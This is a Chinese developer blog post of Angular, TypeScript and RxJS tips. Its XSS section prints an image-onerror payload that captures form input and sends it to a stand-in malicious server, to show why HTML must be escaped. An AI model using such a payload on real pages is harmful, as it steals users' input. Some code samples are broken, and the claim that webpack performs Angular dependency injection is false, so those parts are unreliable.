AngularJS 拾遗(二)

231 阅读18分钟

本文总结了 AngularJS 使用的时候容易忽略的一些坑点。适合学完 Angular 基础并且有一定事件经验的工程师阅读,喜欢的话收藏起来吧,这是一个系列文章,大概在 5 篇左右。

24. 一种使用 position 来进行居中定位的方法

如下所示,我们可以通过指定 position 为 absolute 然后再逐个设置 left right top bottom 的方式来对某个元素进行居中定位。

<div class="modal">
  I'm a modal window
</div>
.modal {
  background-color: gray;
  position: absolute;
  top: 100px;
  left: 100px;
  right: 100px;
  bottom: 100px;
}

25. 模态框渲染到了不正确的地方该怎么办 -- 这里指的是自定义的模态框

我们自己封装了一个模态框,这是其 class 层的代码:

import { Component, OnInit, OnDestroy, ElementRef } from '@angular/core';

@Component({
  selector: 'app-modal',
  templateUrl: './modal.component.html',
  styleUrls: ['./modal.component.css'],
})
export class ModalComponent implements OnInit,OnDestroy {
  constructor(private el: ElementRef){}

  ngOnInit(){
    document.body.appendChild(this.el.nativeElement);
  }

  ngOnDestroy() {
    this.el.nativeElement.remove();
  }
}

需要注意的是,我们可以不显式的 implements OnInit 接口,直接在 class 中实现 ngOnInit 方法即可!

其实思路也是很简单的,那就是在我们的组件渲染完成之后,我们手动的将其移入到 body 的顶层子元素。

使用按钮触发 modal 的 template 代码

<app-divider>Modal Component</app-divider>
<button (click)="onClick()">Show Modal</button>
<app-modal (click)="onClick()" *ngIf="modalOpen"></app-modal>

26. Angular 组件的生命周期函数

  1. ngOnInit: Called once after this component is first displayed on the screen and afte Angular has set any properties passed down from the parent component.
  2. ngOnDestroy: Called once when Angular is about to remove this component (for example, when we navigate to a different route!).
  3. ngOnChanges: Called anytime a property of the component is changed (including when a parent component passes down new data).

请移步至 https://v17.angular.io/guide/lifecycle-hooks 查看所有 hooks.

27. 换个角度认识 e.stopPropagation()

先说结论,假设元素 A 包裹着元素 B, B 裹 C, C 裹 D. 我们给 A 绑定点击事件的回调函数,记为 cbA, 同理有 cbB cbD.

现在如果我们在 cbB 中执行了 e.stopPropagation() 那么,B 以及 B 中的所有元素如 C D 的点击事件都不会触发 cbA.

因此,你可以将其看成是一种遮罩层

那么,在自定义 Modal 的时候我们就可以用到这样的技术。假设 B 是 Modal, 那么如果 B 现在是 visible 的,点击 A 的时候我们希望关闭 B, 但是点击 B, C, D 的时候 visible 状态不变。这个时候我们在 cbA 中实现关闭 B 的逻辑,并且在 cbB 中使用 e.stopPropagation() 阻止 B 及其内部元素上的点击事件触发 cbA.

<div class="ui dimmer visible active" (click)="onCloseClick()">
  <div class="ui modal visible active" (click)="$event.stopPropagation()">
    <i class="close icon" (click)="onCloseClick()"></i>
    <div class="header">
      MODAL!
    </div>
    <div class='content'>
      <p>
        Some content for the modal window should go right here!
      </p>
    </div>
    <div class="actions">
      <button class="ui button" (click)="onCloseClick()">OK</button>
    </div>
  </div>
</div>

28. :empty 结合 slot 在 Angular 中的使用

见:伪类 :empty 的应用与实践

29. nodeJS 环境下执行 ts 的一种方式

我们通过下面的步骤就可以在 nodeJS 环境下执行 *.ts 文件。

  1. 安装 typescript
npm install -g typescript
  1. 安装 ts-node-dev
npm install -g ts-node-dev
  1. 配置 script
"run-ts": "ts-node-dev --no-notify --respawn test-ts.ts"
  1. 设置文件内容
touch test-ts.ts
// test-ts.ts
const age: string = '123';
const sex: string = 'male';

console.log('age:', age);
console.log('sex:', sex);
  1. 执行并查看结果
yarn run-ts

类型推断发生的时机

类型推断只会发生在声明变量的同一行,如下所示的代码中,myName 会被推断成 any.

let myName;

if(1==1){
  myName = 'Stephen';
} else {
  myName = 10;
}

使用命令生成 typescript 的配置文件

npx typescript --init

修改 typescript 配置文件使其支持装饰器语法

"experimentalDecorators": true,
"emitDecoratorMetaData": true,

装饰器的本质是一个简单函数

const Component = (target: any) => {
  console.log('taget is:', target);
}

@Component
class Car {
  @Component yaer: string;

  @Component
  drive(@Component speed: number) {}

  @Component
  get year {}
}
  • Decorators:

    • 装饰器(Decorators)是一种特殊类型的声明,它可以被附加到类、属性、方法或访问器上,用来观察、修改或替换对象的行为。
    • 它们可以在文件首次执行时被调用,而不是在类实例化时。
    • 装饰器可以接收不同的参数,根据它们被使用的位置。
    • 装饰器可以是简单的装饰器(plain decorators)或装饰器工厂(decorator factory)。
    • 它们可以用于以巧妙的方式操作类的内部结构。
    • 装饰器非常复杂,目前不值得我们深入研究。
  • Plain functions:

    • 普通函数(Plain functions)在类中被调用时,是在文件首次执行时,而不是在创建类的实例时。
  • Usage:

    • 装饰器和普通函数可以应用于类、属性、方法、访问器或方法的参数。
  • Arguments:

    • 装饰器根据其使用位置接收不同的参数。
  • Types:

    • 装饰器可以是普通的,也可以是工厂形式的,后者允许更复杂的逻辑。
  • Complexity:

    • 装饰器的使用被认为是高度复杂的,目前可能不是我们深入研究的重点。
  • Internal Manipulation:

    • 装饰器可以用于以智能的方式操纵类的内部。

Component 装饰器的等价写法

在定义一个组件的时候,我们使用了 @Component 去修饰一个类:

import { Component, OnInit } from '@angular/core';

@Component({
  selector: 'app-card',
  templateUrl: './card.component.html',
  styleUrls: ['./card.component.css']
})
export class CardComponent implements OnInit {
  selector = 'app-card'; // 组件的选择器,与@Component装饰器中的selector等价
  templateUrl = './card.component.html'; // 组件的HTML模板路径,与@Component装饰器中的templateUrl等价

  constructor() {}

  ngOnInit(): void {}
}

严格模式

我们可以在 tsconfig.json 中打开严格模式,在此模式下,let age:number; 这种写法会被警告,也就是说必须初始化值。但是下面的这种写法不会:

export class Car {
  year: number;

  constructor(){
    this.year = 10;
  }
}

const myCar = new Car();
console.log(myCar.year);

泛型

在 typescript 中,泛型的英文名为 generics.

class ValueHolder<T> {
  value: T;
}

插入项

我们不必为每一个 template 的事件都完整的写一个回调。

<input (input)="term = $event.target.value" />

也就是有的时候我们也可以便宜行事。

在涉及表单提交的问题上,我们一般会使用 e.preventDefault():

onFormSubmit(event: MouseEvent){
  event.preventDefault();
  this.submitted.emit(this.term);
}

一个维基百科的免费 API 接口

列表接口:

https://en.wikipedia.org/w/api.php?action=query&format=json&list=search&utf8=1&srsearch=space

详情接口:

https://en.wikipedia.org?curid=${pageId}

Angular 中的 DI 是依靠谁来完成的

Angular 中的 DI 是通过 webpack 完成的。

image.png

30. axios 的使用以及测试环境下的模拟

首先我们配置一个自定义的 Axios 实例来请求后端数据。

const axios = require('axios');

module.export = class WikipediaSearch {
  constructor() {
    this.axios = axios.create();
  }

  async search(term) {
    const res = await this.axios.get(`https://en.wikipedia.org/w/api.php?action=query&format=json&list=search&utf8=1&srsearch=${term}`);

    return res.data.query.search;
  }
}

如果是在测试环境中,我么可以通过下面的方式来模拟 Axios 而不是真的使用它:

const fakeAxios = {
  get(){
    return Promise.resolve({
      data: {
        query: {
          search: [{
            {title: 'Space'},
            {title: 'Space station'},
          }]
        }
      }
    })
  }
}

const wikiSearch = new WikipediaSearch(fakeAxios);

const result = await wikiSearch.search('space');

if (results.length !== 10) {
  throw Error('Failed to fetch correct number of results')
}

而在 Angular 中,我们请求后端数据一般不会用 Axios 而是使用自带的 HttpClient 服务。

public search(term: string) {
  return this.http.get('https://en.wikipedia.org/w/api.php', {
    params: {
      action: 'query',
      format: 'json',
      list: 'search',
      utf8: '1',
      srsearch: term,
      origin: '*'
    }
  });
}

31. Input 装饰器的使用步骤

  • 在父组件的模板中找到子组件的创建点。
  • 确定用于通信的属性名称。
  • 在子组件上添加一个新的属性绑定,指定要传递的数据。
  • 在子组件的类中定义一个输入属性,以便接收父组件传递的值。
  • 在子组件的模板中使用这个输入属性。

32. 关于 html 的 escape 和 xss 攻击

在 Angular 中,对于 html 的 escape 处理是自动进行的: <span>Space</span> ---> &lt;span&gt;Space&lt;/span&gt;

这样做的目的是为了防止 XSS 攻击,所谓 XSS 攻击,指的是:

  • XSS 攻击是网络安全中的一个常见问题,它使攻击者能够在用户的浏览器中执行脚本。
  • 这些攻击可能导致敏感信息被盗、会话劫持或其他安全问题。
  • Angular 通过自动转义 HTML,帮助开发者防范 XSS 攻击,减少了手动进行内容安全策略(Content Security Policy,CSP)配置的需要。

让我们明确一下,XSS 和 html 的关系:

如果前端从网络上获取了一段 html, 那么是否应该将其直接渲染到 document 上呢?假如我们请求了一个新闻接口,这个接口返回我们感兴趣的新闻内容 text,我们是否可以找一个容器 container, 执行 container.innerHTML = text 呢?

如果这个 text 的内容为如下,则直接插入到 document 中就会被 XSS 攻击到。

`
<p>相关新闻标题</p>
<span>相关新闻内容</span>
<img src="http://error" onerror="document.querySelectorAll('input').forEach((el) => {
  el.addEventListener('input', (event) => {
    // 假设这里进行了适当的输入清理或验证
    const safeValue = encodeURI(event.target.value);
    fetch('/maliciousserver?value='+safeValue);
  });
});" alt="相关新闻图片" />
`

现在你在网页上的任何输入都会通过 /maliciousserver 发送到入侵者的服务器中。 上面的例子旨在说明从后端获取的 html 内容不能直接放在 document 中,而是必须经过处理,这个处理就叫做 escape.

那么在 Angular 中,我们该如何正确的渲染 html 呢

在 Angular 中,我们通过元素上面的属性 innerHTML 安全的加载 html.

<td [innerHTML]="page.snippet"></td>

这样一来,就算 html 中有危险的 xss 也会被清除掉。

你可以在 https://wiki.owasp.org/index.php/Cross-site_Scripting_(XSS) 得到更多的关于 XSS 相关的信息。

33. 为动态内容添加样式

我们通过 class 为动态的 html 添加类名/样式。需要注意的是,对于从后端请求回来并渲染在页面上的动态 html, 其类名不会被 webpack 处理,因此写在组件中的局部 css 文件中的样式不会起作用,这个时候就需要将样式写在 global.css 中了。

34. 轻量级的样式库 bulma

其安装并使用的过程如下:

npm install bulma

或者

@import "https://cdn.jsdelivr.net/npm/bulma@1.0.1/css/bulma.min.css";

35. Rxjs 入门

  • RxJS 是一个独立的库,虽然与 Angular 框架紧密集成,但它本身并不是 Angular 的一部分。
  • 它主要用于管理异步数据流,提供了一种不同于 Promises 和 async/await 的异步处理方法。
  • RxJS 的使用可以简化复杂功能的实现,尤其是在数据流和事件处理方面。
  • 尽管 RxJS 功能强大,但它的学习曲线相对陡峭,被认为是 JavaScript 领域中较难掌握的技术之一。
  • 掌握 RxJS 对于深入理解和使用 Angular 框架非常有帮助,因为它是 Angular 中处理异步逻辑的核心工具之一。

处理数据的流程: Source -> Processing -> Consuming

学习 Rxjs 的在线工具

有一个在线网站学习 Rxjs 的时候非常的好用,它是:https://out.stegrider.vercel.app/

示例代码:

const{ fromEvent }=Rx;
const { map } = RxOperators;

const input = document.createElement('input');
const container = document.querySelector('.container')
container.appendChild(input);

const observable = fromEvent(input,'input').pipe(
  map(event => event.target.value),
  map(value => parseInt(value)),
  map(value => {
    if( isNaN(value) ){
      throw new Error('Enter a number!');
      return value;
		}
  }));

observable;

示例代码 2:

const { Observable } = Rx;
const observable = new Observable(subscriber => {
  subscriber.next(1);
  subscriber.complete();
  subscriber.error(new Error('It is a error'));
})

observable.subscribe({
  next(){},
  error(err){console.log(err.message)},
  complete(){},
});

// 上面可以简写成如下形式,但是顺序是固定的 `next -> error -> complete`.
/*
observable.subscribe(
  (value) => {console.log('VALUE')},
  (err) => {console.log(err.message)},
  () => {console.log('COMPLETE')},
);
*/

关于操作符

  • RxJS 中的操作符是用于对数据流进行特定处理的函数。
  • 操作符可以被链接起来,形成处理数据的管道。
  • 学习 RxJS 的一个关键部分是熟悉和记忆不同的操作符。
  • 操作符有通用和特定之分,选择正确的操作符对于解决问题至关重要。
  • 由于相关文档的质量参差不齐,开发者可能需要通过实践来更好地理解操作符的用法。
  • 推荐开发者首先了解可观察对象产生的数据,然后根据这些数据来选择适当的操作符来实现应用程序的功能。

操作符大抵可以分成三类

  1. **转换操作符:**用于对数据进行加工,可能会生成新的数据或改变现有数据的结构。
  2. **过滤操作符:**用于控制数据流的流程,可以决定哪些数据通过,哪些被拦截或修改。
  3. **创建操作符:**用于生成新的数据流,可以是从现有的数据源或通过其他方式生成。

pluck 操作符

  1. {color:'red',year:2000} -> pluck('year') -> 2000
  2. {target:{value:'GoLang'}} -> pluck('target','value') -> 'GoLang'

单播和多播

单播是 unicast 而多播则为 multicast.

**单播的特点为:**Separate set of values for each observer

  1. 单播可观察对象(Unicast Observables):
    • 单播可观察对象为每个订阅它的观察者(Observer)发出一组独立的值。
  2. 独立值集:
    • 无论有多少观察者订阅,每个观察者都会接收到它自己的值集,与其他观察者无关。
  3. 操作符执行:
    • 使用 pipe 方法链式调用的操作符(Operators)将为每个订阅的观察者独立执行。这意味着相同的操作符链将针对每个观察者重复执行。
  4. 潜在的不良行为:
    • 如果不恰当地使用单播可观察对象,可能会导致不良行为,比如资源浪费、性能问题或难以追踪的错误。例如,如果每个订阅都触发了对数据库的独立查询,这可能会导致大量的数据库负载。

**多播的特点为:**One set of values for all observers

  1. 多播可观察对象(Multicast Observables):
    • 多播可观察对象对所有订阅它的观察者发出同一组值。
  2. 共享值集:
    • 无论有多少观察者订阅,他们都将接收到相同的值集。
  3. 操作符的单次执行:
    • 使用 pipe 方法链式调用的操作符将只执行一次,即使有多个观察者订阅。
  4. 重置行为:
    • 如果多播可观察对象完成(completed)或出错(errored),当有新的订阅者加入时,可观察对象会被重置,新的订阅者将从头开始接收值。
  5. 潜在的问题:
    • 如果新订阅者在可观察对象被重置后订阅,它们可能会错过之前发出的事件,这可能导致订阅者接收到不完整的数据流。
  6. 对新订阅者的问题:
    • 后来的订阅者可能看不到早期的事件,因为他们是在可观察对象重置之后订阅的。

使用 share 操作符将单播改造成多播,如下所示:

  1. 无 complete 无 share:
const { Observable } = Rx;
const { tap, share } = RxOperators;

const observable = new Observable(subscriber => {
  subscriber.next(1);
  subscriber.next(3);
  subscriber.next(5);
  // subscriber.complete();
}).pipe(
  tap(value => console.log('From tap:', value)),
  // share(),
);

observable.subscribe(
  value => console.log('Next value 1:', value),
  err => console.error('BAD THING 1!!!', err.message),
  () => console.log('COMPLETE 1'),
)

observable.subscribe(
  value => console.log('Next value 2:', value),
  err => console.error('BAD THING 2!!!', err.message),
  () => console.log('COMPLETE 2'),
)

new Observable(()=>{});

控制台打印输出为:

From tap: 1
Next value 1: 1
From tap: 3
Next value 1: 3
From tap: 5
Next value 1: 5
From tap: 1
Next value 2: 1
From tap: 3
Next value 2: 3
From tap: 5
Next value 2: 5
  1. 有 complete 无 share:
const { Observable } = Rx;
const { tap, share } = RxOperators;

const observable = new Observable(subscriber => {
  subscriber.next(1);
  subscriber.next(3);
  subscriber.next(5);
  subscriber.complete();
}).pipe(
  tap(value => console.log('From tap:', value)),
  // share(),
);

observable.subscribe(
  value => console.log('Next value 1:', value),
  err => console.error('BAD THING 1!!!', err.message),
  () => console.log('COMPLETE 1'),
)

observable.subscribe(
  value => console.log('Next value 2:', value),
  err => console.error('BAD THING 2!!!', err.message),
  () => console.log('COMPLETE 2'),
)

new Observable(()=>{});

控制台打印输出为:

From tap: 1
Next value 1: 1
From tap: 3
Next value 1: 3
From tap: 5
Next value 1: 5
COMPLETE 1
From tap: 1
Next value 2: 1
From tap: 3
Next value 2: 3
From tap: 5
Next value 2: 5
COMPLETE 2
  1. 无 complete 有 share:
const { Observable } = Rx;
const { tap, share } = RxOperators;

const observable = new Observable(subscriber => {
  subscriber.next(1);
  subscriber.next(3);
  subscriber.next(5);
  // subscriber.complete();
}).pipe(
  tap(value => console.log('From tap:', value)),
  share(),
);

observable.subscribe(
  value => console.log('Next value 1:', value),
  err => console.error('BAD THING 1!!!', err.message),
  () => console.log('COMPLETE 1'),
)

observable.subscribe(
  value => console.log('Next value 2:', value),
  err => console.error('BAD THING 2!!!', err.message),
  () => console.log('COMPLETE 2'),
)

new Observable(()=>{});

控制台打印输出为:

From tap: 1
Next value 1: 1
From tap: 3
Next value 1: 3
From tap: 5
Next value 1: 5
  1. 有 complete 有 share:
const { Observable } = Rx;
const { tap, share } = RxOperators;

const observable = new Observable(subscriber => {
  subscriber.next(1);
  subscriber.next(3);
  subscriber.next(5);
  subscriber.complete();
}).pipe(
  tap(value => console.log('From tap:', value)),
  share(),
);

observable.subscribe(
  value => console.log('Next value 1:', value),
  err => console.error('BAD THING 1!!!', err.message),
  () => console.log('COMPLETE 1'),
)

observable.subscribe(
  value => console.log('Next value 2:', value),
  err => console.error('BAD THING 2!!!', err.message),
  () => console.log('COMPLETE 2'),
)

new Observable(()=>{});

控制台打印输出为:

From tap: 1
Next value 1: 1
From tap: 3
Next value 1: 3
From tap: 5
Next value 1: 5
COMPLETE 1
From tap: 1
Next value 2: 1
From tap: 3
Next value 2: 3
From tap: 5
Next value 2: 5
COMPLETE 2

从上面的对比中不难发现,就算是多播,等到其 complete 之后也是可以再次订阅的,订阅之后从头开始发出数据。

Hot 和 Cold

  1. Hot Observable: Single event stream shared for all subscribers old and new
  2. Cold Observable: Event stream recreated for each new subscriber

实际上 Hot Observable 指是 multicast 的官方称呼;同理, Cold Observable 是 unicast 的官方称呼。

使用 Typescript 约束 Observable 的类型

如下代码所示,我们使用 Observable<T> 的方式指定此数据源发出的数据类型:

const observable = new Observable<number>(observer => {
  observer.next(1);
})

复杂一点:

import { Observable } from 'rxjs';
import { map } from 'rxjs/operators';

interface Car {
  year: number;
  color: string;
  running: boolean;
  make: {
    name: string;
    foundationDate?: Date; // 制造商成立日期,是可选属性
  };
}

const observable = new Observable<Car>(observer => {
  // 假设Car是一个接口,这里创建一个Car对象
  const car = {
    year: 2000,
    color: 'red',
    running: true,
    make: {
      name: 'SomeMake', // 假设make.name是'SomeMake'
      dateC: 'SomeDate' // 假设dateC是'SomeDate'
    }
  };
  observer.next(car); // 发出car对象
}).pipe(
  // 使用map操作符来获取make对象的name属性
  map(car => car.make.name)
);

// 订阅observable,打印发出的值
observable.subscribe(value => {
  console.log(value); // 这里将打印make对象的name属性
});

36. 使用 unsplash 获取免费照片

  1. 去网站:https://unsplash.com/documentation
  2. 点击:Setting up an application
  3. https://unsplash.com/join 注册账号,然后找到 Access Key
  4. 使用下面的代码构造一个服务用来获取随机免费的照片
import { Injectable } from '@angular/core';
import { HttpClient } from '@angular/common/http';

@Injectable({
  providedIn: 'root' // 服务在根模块中提供
})
export class PhotosService {
  constructor(private http: HttpClient) {}

  getPhoto(): any {
    // 替换 'your_access_token' 为你的Unsplash API访问令牌
    const headers = {
      Authorization: 'Client-ID your_access_token'
    };
    return this.http.get('https://api.unsplash.com/photos/random', { headers });
  }
}

在使用服务的地方,等到请求完毕之后,将获得的随机图片的 url 指定给 <img> 标签的 src 即可!

<img *ngIf="photoUrl" [src]="photoUrl" />
this.photosService.getPhoto().subscribe(response =>{
  this.photoUrl= response.urls.regular;
});

37. ReactiveForm 相关

本节中,我们通过封装一个 input 组件来串讲 Angular 响应式组件中遗漏的关键知识点。

响应式表单的基本格式

import { Component, OnInit } from '@angular/core';
import { FormGroup, FormControl, Validators } from '@angular/forms';

export class CardFormComponent implements OnInit {
  // 初始化 FormGroup 包含一个 FormControl 控件 'name'
  cardForm = new FormGroup({
    name: new FormControl('', [Validators.required]) // 修正了乱码和语法错误
  });

  // 空的构造函数
  constructor() {}

  // Angular 生命周期钩子 OnInit,用于组件初始化逻辑
  ngOnInit(): void {
    // 组件初始化代码可以放在这里
  }
}

在表示表单错误的时候我们切记要使用如下所示的双层结构

<form [formGroup]="cardForm">
  <input formControlName="name" />
  <div *ngIf="cardForm.controls.name.errors">
    <div *ngIf="cardForm.controls.name.errors.required">
      Value is required.
    </div>
  </div>
</form>

这里,由于 input 表单不止一个错误,所以需要两层,因为它可能是这样的:

<form [formGroup]="cardForm">
  <input formControlName="name" />
  <div *ngIf="cardForm.controls.name.errors">
    <div *ngIf="cardForm.controls.name.errors.required">
      Value is required.
    </div>
    <div *ngIf="cardForm.controls.name.errors.minLength">
      Less than minimum length.
    </div>
  </div>
</form>

如果你不想因此功能性多一层 tag 并影响性能的话,可以使用 ng-container

<form [formGroup]="cardForm">
  <input formControlName="name" />
  <ng-container *ngIf="cardForm.controls.name.errors">
    <div *ngIf="cardForm.controls.name.errors.required">
      Value is required.
    </div>
    <div *ngIf="cardForm.controls.name.errors.minLength">
      Less than minimum length.
    </div>
  </ng-container>
</form>

通过 errors 中的信息让我们的报错提示信息更加准确一些:

<form [formGroup]="cardForm">
  <input formControlName="name" />
  <ng-container *ngIf="cardForm.controls.name.errors">
    <div *ngIf="cardForm.controls.name.errors.required">
      Value is required.
    </div>
    <div *ngIf="cardForm.controls.name.errors.minLength">
      Value you entered is
      {{ cardForm.controls.name.errors.minlength.actualLength }}
      characters long,but it must be at least
      {{ cardForm.controls.name.errors.minlength.requiredLength }}
      characters
    </div>
  </ng-container>
</form>

表单元素上面的状态

valid invalid pending disabled touched untouched pristine dirty

使用表单元素的状态优化我们的错误提示,使之只有在被填写之后再报错,如果从一开始就没有填写,则不报错:

<form [formGroup]="cardForm">
  <input formControlName="name" />
  <ng-container *ngIf="
    cardForm.controls.name.dirty &&
    cardForm.controls.name.touched &&
    cardForm.controls.name.errors
  ">
    <div *ngIf="cardForm.controls.name.errors.required">
      Value is required.
    </div>
    <div *ngIf="cardForm.controls.name.errors.minLength">
      Value you entered is
      {{ cardForm.controls.name.errors.minlength.actualLength }}
      characters long,but it must be at least
      {{ cardForm.controls.name.errors.minlength.requiredLength }}
      characters
    </div>
  </ng-container>
</form>

表单元素的分装

就像上面所示的一个简单的 input 表单元素,都有可能写出这么复杂的错误提示代码,对于更加复杂的业务,其代码只会更多。因此,我们有必要将这么复杂的组件封装起来,假设我们封装的组件名称为:app-input, 当我们在别的组件中使用这个自定义组件的时候需要传入的最重要的 props 是什么呢?请看下面的代码:

<form [formGroup]="cardForm">
  <app-input [control]="cardForm.get('name')"></app-input>
</form>

如上面的代码所示,最重要的信息就是从调用方传递进来的 FormControl 的示例对象

import { Component, OnInit } from '@angular/core';
import { FormControl } from '@angular/forms';

@Component({
  selector: 'app-input',         // 组件的选择器
  templateUrl: './input.component.html',  // 组件的HTML模板文件路径
  styleUrls: ['./input.component.css']    // 组件的CSS样式文件路径
})
export class InputComponent implements OnInit {
  @Input() control: FormControl;  // 使用 @Input 装饰器定义输入属性

  constructor() {}

  ngOnInit() {
    // 组件初始化时的逻辑可以放在这里
  }
}

如此一来,我们的 input 就可以拆开写成:

<form [formGroup]="cardForm">
  <app-input [control]="cardForm.get('name')"></app-input>
</form>
<!-- <input formControlName="name" /> -->
<input [formControl]="control" />
<ng-container *ngIf="
  control.name.dirty &&
  control.name.touched &&
  control.name.errors
">
  <div *ngIf="control.name.errors.required">
    Value is required.
  </div>
  <div *ngIf="control.name.errors.minLength">
    Value you entered is
    {{ control.name.errors.minlength.actualLength }}
    characters long,but it must be at least
    {{ control.name.errors.minlength.requiredLength }}
    characters
  </div>
</ng-container>

注意 formControlName="name" 变成了 [formControl]="control" 不仅加了中括号(表示从静态值变成了动态值),连属性名都发生了改变。

封装自己的 FormControl 类

ES6 语法允许我们继承 Native 类并覆盖其原来的写法,为此我们可以创建 FormControl 的子类,进行定制化。我们需要定制一个 FormControl 子类,当我们在 input 中写入日期信息的时候,它能自动格式化成类似 09/12 的格式。

import { FormControl } from '@angular/forms';

export class DateFormControl extends FormControl {
  setValue(value: string, options: any) {
    console.log(value);
    super.setValue(value + '*', {...options, emitModelToViewChange: true});
  }
}

emitModelToViewChange 的作用是将变化及时更新到视图上。

比起自己写,使用现成的第三方库可能更具性价比:npm install --save ngx-mask, 我们使用这个 mask 库,能够对输入的内容进行定制化的格式化操作。

安装完毕之后导入再注入:

import { NgxMaskModule, IConfig } from 'ngx-mask';
export const options: Partial<IConfig> | (() => Partial<IConfig>) = {};

imports: [
  ...
  NgxMaskModule.forRoot(options),
  ...
]

在 template 中使用:

<input mask="(000)-000-0000" class="input" [formControl]="control" [ngClass]="{'is-danger': showErrors()}" />

也就是说这个 module 提供了名为 mask 的指令。

Form 实例的 reset 方法

Form 实例可以调用 reset 方法将其中的表单元素的数据和状态进行清空。reset 命令在内部调用了 setValue 方法,并将表单元素的值置为 null, 注意这是 null 而不是 ''. 也就是说字符串包装类上面的有些方法是用不了的。这会导致两种意外发生:

  1. null 没有方法,导致某些逻辑出错。
  2. 如果原来的表单元素有默认值,reset 之后不会回到默认值,而是清空。所以严格来说不能算是真正的重置。

38. TemplateForm 相关

奇怪的绑定行为

在 Angular 中给元素绑定 ref 的方式为:<div #myInput ></div> 这样你就可以通过 myInput 来操作这个元素了。但是如果绑定的对象是 form 元素,则需要写成: <form #myForm="ngForm"></form>. 而对于表单元素则写成:<input #myInput="ngModule" >

模板表单的基本写法

<form #emailForm="ngForm">
  <input
    type="email"
    pattern=".+@.+\..+"
    required
    name="email"
    [(ngModel)]="email"
    #emailControl="ngModel"
  >
  <!-- <ng-container *ngIf="emailForm.controls.email.invalid"> -->
  <ng-container *ngIf="emailControl.invalid">
    <div>Email is invalid.</div>
  </ng-container>
</form>

<hr />
<div>Is form valid:{{ emailForm.valid }}</div>

#emailControl="ngModel" 在整个 html 文件范围内定义了一个名为 emailControl 的变量,通过它你可以访问对应 input 的信息或者改变此 input 的状态。

这里提醒一下,不论是 模板表单 还是 响应式表单,我们在处理错误的时候都是分成两层来写的。

将 validator 以字面量的方式写出来

validator 的本质是一个函数,因此可以写成字面量的形式。但是正式起见,还是会将同步的 validator 写成类的静态方法的形式。

import { AbstractControl } from '@angular/forms';

export class MathValidators {
  // 静态方法,用于验证两个数的和是否等于第三个数
  static addition(form: AbstractControl): { [key: string]: any } | null {
    const { a, b, answer } = form.value; // 从表单值中解构出 a, b, answer
    // 检查 a 和 b 之和是否等于 answer 转换为整数的值
    if (a + b === parseInt(answer, 10)) { // 使用 parseInt 并指定基数为10
      return null; // 验证通过,返回 null
    } else {
      return { addition: true }; // 验证失败,返回错误对象
    }
  }
}

使用函数工厂增强其可扩展性:

export class MathValidators {
  // 静态方法,用于验证两个数的和是否等于第三个数
  static addition(target: string, sourceOne: string, sourceTwo: string) {
    return (form: AbstractControl): { [key: string]: any } | null => {
      const sum = form.value[target];
      const firstNumber = form.value[sourceOne];
      const secondNumber = form.value[sourceTwo];
      
      // 检查 firstNumber 和 secondNumber 之和是否等于 sum 转换为整数的值
      if (firstNumber + secondNumber === parseInt(sum, 10)) {
        return null; // 验证通过,返回 null
      } else {
        return { addition: true }; // 验证失败,返回错误对象
      }
    };
  }
}

39. Form 表单状态订阅

试想一下这样的场景:我们需要用户填写表单,并在填写完成无误的情况下立马刷新表单,让其填写下一张表单。

为了事先这个效果,我们可以对表单对象的 statusChanges 进行订阅,并在其发出新的值之后更新我们的表单:

ngOnInit() {
  this.myForm.statusChanges.subscribe(
    value => {
      if(value === 'INVALID') return;

      this.myForm.controls.a.setValue(this.getRandomNumber());
      this.myForm.controls.b.setValue(this.getRandomNumber());
      this.myForm.controls.answer.setValue('');
    }
  )
}

上面写的代码不符合管道的一般处理规范应该改写成:

ngOnInit() {
  this.myForm.statusChanges.subscribe.pipe(
    filter(value => value === 'VALID'),
    delay(100),
  )(
    () => {
      this.myForm.setValue({
        a: this.getRandomNumber(),
        b: this.getRandomNumber(),
        answer: '',
      });
    }
  )
}

为了让上面的代码更加客户友好,我们先通过下面的代码了解一下 scan 操作符的作用:

const { Observable } = Rx;
const { tap, share, scan } = RxOperators;

const observable = new Observable(subscriber => {
  subscriber.next(1);
  subscriber.next(1);
  subscriber.next(1);
  subscriber.next(1);
  subscriber.next(1);
  subscriber.complete();
}).pipe(
  scan(num => {
    return num + 1; 
  },0),
);

observable.subscribe(
  value => console.log('The accumulated value is:', value),
)

new Observable(()=>{});

打印的结果为:

The accumulated value is: 1
The accumulated value is: 2
The accumulated value is: 3
The accumulated value is: 4
The accumulated value is: 5

利用 scan 操作符,我们可以计算出用户完成一个表单的平均时间。

ngOnInit() {
  this.myForm.statusChanges.pipe(
    filter(value => value === 'VALID'),
    delay(100),
    scan(
      acc => ({
        numberSolved:acc.numberSolved + 1,
        startTime: acc.startTime,
      }), {numberSolved:0,startTime: new Date()}
    ),
  ).subscribe(
    ({numberSolved,startTime}) => {
      this.secondsPerSolution = (new Date().getTime() - startTime.getTime()) / numberSolved;
      this.myForm.setValue({
        a: this.getRandomNumber(),
        b: this.getRandomNumber(),
        answer: '',
      });
    }
  )
}